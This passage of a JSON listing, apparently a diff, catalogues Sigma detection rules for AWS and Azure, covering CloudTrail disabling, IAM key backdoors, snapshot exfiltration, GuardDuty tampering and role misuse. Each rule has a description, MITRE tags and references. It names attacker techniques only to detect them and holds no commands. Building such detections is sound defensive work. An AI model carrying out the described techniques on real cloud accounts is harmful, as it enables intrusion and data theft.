"level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_attached_malicious_lambda_layer.yml" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d", - "value": "AWS Attached Malicious Lambda Layer" - }, - { - "description": "Detects disabling, deleting and updating of a Trail", - "meta": { - "author": "vitaliy0x1", - "creation_date": "2020/01/21", - "falsepositive": [ - "Valid change in a Trail" - ], - "filename": "aws_cloudtrail_disable_logging.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_cloudtrail_disable_logging.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "4db60cc0-36fb-42b7-9b58-a5b53019fb74", - "value": "AWS CloudTrail Important Change" - }, - { - "description": "Detects AWS Config Service disabling", - "meta": { - "author": "vitaliy0x1", - "creation_date": "2020/01/21", - "falsepositive": [ - "Valid change in AWS Config Service" - ], - "filename": "aws_config_disable_recording.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_config_disable_recording.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "07330162-dba1-4746-8121-a9647d49d297", - "value": "AWS Config Disabling Channel/Recorder" - }, - { - "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/06/29", - "falsepositive": [ - "System Administrator Activities", - "DEV, UAT, SAT environment. You should apply this rule with PROD account only." - ], - "filename": "aws_ec2_disable_encryption.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml", - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html" - ], - "tags": [ - "attack.impact", - "attack.t1486", - "attack.t1565" - ] - }, - "uuid": "16124c2d-e40b-4fcc-8f2c-5ab7870a2223", - "value": "AWS EC2 Disable EBS Encryption" - }, - { - "description": "Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.", - "meta": { - "author": "faloker", - "creation_date": "2020/02/11", - "falsepositive": [ - "Assets management software like device42" - ], - "filename": "aws_ec2_download_userdata.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml", - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ] - }, - "uuid": "26ff4080-194e-47e7-9889-ef7602efed0c", - "value": "AWS EC2 Download Userdata" - }, - { - "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", - "meta": { - "author": "faloker", - "creation_date": "2020/02/12", - "falsepositive": [ - "Valid changes to the startup script" - ], - "filename": "aws_ec2_startup_script_change.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml", - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1059.003", - "attack.t1059.004" - ] - }, - "uuid": "1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df", - "value": "AWS EC2 Startup Shell Script Change" - }, - { - "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", - "meta": { - "author": "Diogo Braz", - "creation_date": "2020/04/16", - "falsepositive": "No established falsepositives", - "filename": "aws_ec2_vm_export_failure.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_vm_export_failure.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005", - "attack.exfiltration", - "attack.t1537" - ] - }, - "uuid": "54b9a76a-3c71-4673-b4b3-2edb4566ea7b", - "value": "AWS EC2 VM Export Failure" - }, - { - "description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run.\nThis can indicate an adversary adding a backdoor to establish persistence or escalate privileges.\nThis rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.\n", - "meta": { - "author": "Darin Smith", - "creation_date": "2022/06/07", - "falsepositive": [ - "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" - ], - "filename": "aws_ecs_task_definition_backdoor.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml", - "https://attack.mitre.org/techniques/T1525" - ], - "tags": [ - "attack.persistence", - "attack.t1525" - ] - }, - "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", - "value": "AWS ECS Backdoor Task Definition" - }, - { - "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "aws_efs_fileshare_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "25cb1ba1-8a19-4a23-a198-d252664c8cef", - "value": "AWS EFS Fileshare Modified or Deleted" - }, - { - "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "aws_efs_fileshare_mount_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_mount_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "6a7ba45c-63d8-473e-9736-2eaabff79964", - "value": "AWS EFS Fileshare Mount Modified or Deleted" - }, - { - "description": "Identifies when an EKS cluster is created or deleted.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/16", - "falsepositive": [ - "EKS Cluster being created or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_eks_cluster_created_or_deleted.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://any-api.com/amazonaws_com/eks/docs/API_Description", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_eks_cluster_created_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "33d50d03-20ec-4b74-a74e-1e65a38af1c0", - "value": "AWS EKS Cluster Created or Deleted" - }, - { - "description": "Detects when an ElastiCache security group has been created.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", - "falsepositive": [ - "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_elasticache_security_group_created.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml", - "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml" - ], - "tags": [ - "attack.persistence", - "attack.t1136", - "attack.t1136.003" - ] - }, - "uuid": "4ae68615-866f-4304-b24b-ba048dfa5ca7", - "value": "AWS ElastiCache Security Group Created" - }, - { - "description": "Identifies when an ElastiCache security group has been modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", - "falsepositive": [ - "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_elasticache_security_group_modified_or_deleted.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1531" - ] - }, - "uuid": "7c797da2-9cf2-4523-ba64-33b06339f0cc", - "value": "AWS ElastiCache Security Group Modified or Deleted" - }, - { - "description": "Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.", - "meta": { - "author": "toffeebr33k", - "creation_date": "2020/11/21", - "falsepositive": [ - "AWS Config or other configuration scanning activities" - ], - "filename": "aws_enum_listing.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_listing.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1592" - ] - }, - "uuid": "e9c14b23-47e2-4a8b-8a63-d36618e33d70", - "value": "Account Enumeration on AWS" - }, - { - "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", - "meta": { - "author": "faloker", - "creation_date": "2020/02/11", - "falsepositive": [ - "Valid change in the GuardDuty (e.g. to ignore internal scanners)" - ], - "filename": "aws_guardduty_disruption.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml", - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "6e61ee20-ce00-4f8d-8aee-bedd8216f7e3", - "value": "AWS GuardDuty Important Change" - }, - { - "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n", - "meta": { - "author": "faloker", - "creation_date": "2020/02/12", - "falsepositive": [ - "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", - "AWS API keys legitimate exchange workflows" - ], - "filename": "aws_iam_backdoor_users_keys.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_iam_backdoor_users_keys.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2", - "value": "AWS IAM Backdoor Users Keys" - }, - { - "description": "Detects when an user creates or invokes a lambda function.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/03", - "falsepositive": [ - "Lambda Function created or invoked may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_lambda_function_created_or_invoked.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_lambda_function_created_or_invoked.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078" - ] - }, - "uuid": "d914951b-52c8-485f-875e-86abab710c0b", - "value": "AWS Lambda Function Created or Invoked" - }, - { - "description": "Detects evade to Macie detection.", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/07/06", - "falsepositive": [ - "System or Network administrator behaviors" - ], - "filename": "aws_macic_evasion.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml", - "https://docs.aws.amazon.com/cli/latest/reference/macie/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "91f6a16c-ef71-437a-99ac-0b070e3ad221", - "value": "AWS Macie Evasion" - }, - { - "description": "Detects possible suspicious glue development endpoint activity.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/03", - "falsepositive": [ - "Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_passed_role_to_glue_development_endpoint.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", - "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_passed_role_to_glue_development_endpoint.yml" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26", - "value": "AWS Glue Development Endpoint Activity" - }, - { - "description": "Detects the change of database master password. It may be a part of data exfiltration.", - "meta": { - "author": "faloker", - "creation_date": "2020/02/12", - "falsepositive": [ - "Benign changes to a db instance" - ], - "filename": "aws_rds_change_master_password.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml", - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ] - }, - "uuid": "8a63cdd4-6207-414a-85bc-7e032bd3c1a2", - "value": "AWS RDS Master Password Change" - }, - { - "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", - "meta": { - "author": "faloker", - "creation_date": "2020/02/12", - "falsepositive": [ - "Unknown" - ], - "filename": "aws_rds_public_db_restore.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml", - "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py" - ], - "tags": [ - "attack.exfiltration", - "attack.t1020" - ] - }, - "uuid": "c3f265c7-ff03-4056-8ab2-d486227b4599", - "value": "Restore Public AWS RDS Instance" - }, - { - "description": "Detects AWS root account usage", - "meta": { - "author": "vitaliy0x1", - "creation_date": "2020/01/21", - "falsepositive": [ - "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html" - ], - "filename": "aws_root_account_usage.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_root_account_usage.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078.004" - ] - }, - "uuid": "8ad1600d-e9dc-4251-b0ee-a65268f29add", - "value": "AWS Root Credentials" - }, - { - "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", - "meta": { - "author": "Elastic, Austin Songer @austinsonger", - "creation_date": "2021/07/22", - "falsepositive": [ - "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_route_53_domain_transferred_lock_disabled.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", - "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" - ], - "tags": [ - "attack.persistence", - "attack.credential_access", - "attack.t1098" - ] - }, - "uuid": "3940b5f1-3f46-44aa-b746-ebe615b879e0", - "value": "AWS Route 53 Domain Transfer Lock Disabled" - }, - { - "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", - "meta": { - "author": "Elastic, Austin Songer @austinsonger", - "creation_date": "2021/07/22", - "falsepositive": [ - "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_route_53_domain_transferred_to_another_account.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml", - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml" - ], - "tags": [ - "attack.persistence", - "attack.credential_access", - "attack.t1098" - ] - }, - "uuid": "b056de1a-6e6e-4e40-a67e-97c9808cf41b", - "value": "AWS Route 53 Domain Transferred to Another Account" - }, - { - "description": "Detects when a user tampers with S3 data management in Amazon Web Services.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", - "falsepositive": [ - "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_s3_data_management_tampering.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", - "https://github.com/elastic/detection-rules/pull/1145/files", - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1537" - ] - }, - "uuid": "78b3756a-7804-4ef7-8555-7b9024a02e2d", - "value": "AWS S3 Data Management Tampering" - }, - { - "description": "Detects the modification of the findings on SecurityHub.", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/06/28", - "falsepositive": [ - "System or Network administrator behaviors", - "DEV, UAT, SAT environment. You should apply this rule with PROD environment only." - ], - "filename": "aws_securityhub_finding_evasion.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/cli/latest/reference/securityhub/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_securityhub_finding_evasion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157", - "value": "AWS SecurityHub Findings Evasion" - }, - { - "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", - "meta": { - "author": "Darin Smith", - "creation_date": "2021/05/17", - "falsepositive": [ - "Valid change to a snapshot's permissions" - ], - "filename": "aws_snapshot_backup_exfiltration.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://www.justice.gov/file/1080281/download", - "https://attack.mitre.org/techniques/T1537/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_snapshot_backup_exfiltration.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1537" - ] - }, - "uuid": "abae8fec-57bd-4f87-aff6-6e3db989843d", - "value": "AWS Snapshot Backup Exfiltration" - }, - { - "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", - "falsepositive": [ - "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", - "Automated processes that uses Terraform may lead to false positives." - ], - "filename": "aws_sts_assumerole_misuse.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/elastic/detection-rules/pull/1214", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml", - "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1548", - "attack.t1550", - "attack.t1550.001" - ] - }, - "uuid": "905d389b-b853-46d0-9d3d-dea0d3a3cd49", - "value": "AWS STS AssumeRole Misuse" - }, - { - "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", - "falsepositive": [ - "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_sts_getsessiontoken_misuse.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml", - "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", - "https://github.com/elastic/detection-rules/pull/1213" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1548", - "attack.t1550", - "attack.t1550.001" - ] - }, - "uuid": "b45ab1d2-712f-4f01-a751-df3826969807", - "value": "AWS STS GetSessionToken Misuse" - }, - { - "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/09/22", - "falsepositive": [ - "Automated processes that uses Terraform may lead to false positives.", - "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "aws_susp_saml_activity.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml", - "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1078", - "attack.lateral_movement", - "attack.t1548", - "attack.privilege_escalation", - "attack.t1550", - "attack.t1550.001" - ] - }, - "uuid": "f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e", - "value": "AWS Suspicious SAML Activity" - }, - { - "description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n", - "meta": { - "author": "toffeebr33k", - "creation_date": "2021/08/09", - "falsepositive": [ - "Legit User Account Administration" - ], - "filename": "aws_update_login_profile.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "aws", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml", - "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "055fb148-60f8-462d-ad16-26926ce050f1", - "value": "AWS User Login Profile Was Modified" - }, - { - "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", - "falsepositive": [ - "Legitimate AD FS servers added to an AAD Health AD FS service instance" - ], - "filename": "azure_aadhybridhealth_adfs_new_server.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml", - "https://o365blog.com/post/hybridhealthagent/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1578" - ] - }, - "uuid": "288a39fc-4914-4831-9ada-270e9dc12cb4", - "value": "Azure Active Directory Hybrid Health AD FS New Server" - }, - { - "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/08/26", - "falsepositive": [ - "Legitimate AAD Health AD FS service instances being deleted in a tenant" - ], - "filename": "azure_aadhybridhealth_adfs_service_delete.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml", - "https://o365blog.com/post/hybridhealthagent/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1578.003" - ] - }, - "uuid": "48739819-8230-4ee3-a8ea-e0289d1fb0ff", - "value": "Azure Active Directory Hybrid Health AD FS Service Delete" - }, - { - "description": "Monitor and alert on conditional access changes where non approved actor removed CA Policy.", - "meta": { - "author": "Corissa Koopmans, '@corissalea'", - "creation_date": "2022/07/19", - "falsepositive": [ - "Misconfigured role permissions", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." - ], - "filename": "azure_aad_secops_ca_policy_removedby_bad_actor.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548" - ] - }, - "uuid": "26e7c5e2-6545-481e-b7e6-050143459635", - "value": "CA Policy Removed by Non Approved Actor" - }, - { - "description": "Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.", - "meta": { - "author": "Corissa Koopmans, '@corissalea'", - "creation_date": "2022/07/19", - "falsepositive": [ - "Misconfigured role permissions", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." - ], - "filename": "azure_aad_secops_ca_policy_updatedby_bad_actor.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_updatedby_bad_actor.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548" - ] - }, - "uuid": 